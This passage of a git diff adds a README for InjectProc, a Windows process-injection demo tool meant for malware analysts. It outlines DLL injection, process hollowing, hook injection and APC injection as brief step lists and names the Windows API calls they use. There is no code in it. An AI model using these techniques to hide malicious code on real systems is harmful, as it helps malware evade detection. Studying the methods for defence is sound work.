linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/InjectProc/README.md b/InjectProc/README.md new file mode 100644 index 0000000..c42f2fc --- /dev/null +++ b/InjectProc/README.md @@ -0,0 +1,50 @@ +# InjectProc + +Process injection is a very popular method to hide malicious behavior of code and are heavily used by malware authors. + +There are several techniques, which are commonly used: +DLL injection, process replacement (a.k.a process hollowing), hook injection and APC injection. + +Most of them use same Windows API functions: +OpenProcess, VirtualAllocEx, WriteProcessMemory, for detailed information about those functions, use MSDN. + +## DLL injection: +* Open target process. +* Allocate space. +* Write code into the remote process. +* Execute the remote code. + +## Process replacement: +* Create target process and suspend it. +* Unmap from memory. +* Allocate space. +* Write headers and sections into the remote process. +* Resume remote thread. + +## Hook injection: +* Find/Create process. +* Set hook + +## APC injection: +* Open process. +* Allocate space. +* Write code into remote threads. +* "Execute" threads using QueueUserAPC. + +## Download +[Windows x64 binary](https://github.com/secrary/InjectProc/releases) - x64 bit DEMO +## Dependencies: +[vc_redist.x64](https://support.microsoft.com/en-us/help/2977003/the-latest-supported-visual-c-downloads) - Microsoft Visual C++ Redistributable +## DEMO +[InjectProc DEMO - Process Injection Techniques](https://www.youtube.com/watch?v=hLPDq9nSHMw) + +## Contributors +- [nullbites](https://github.com/nullbites) + +# Warning +Works on Windows 10 build 1703, 64bit. + +I've not enough time to test other systems and make it portable if you have enough time please contribute. + +I create this project for me to better understand how process injection works and +I think it will be helpful for many beginner malware analysts too.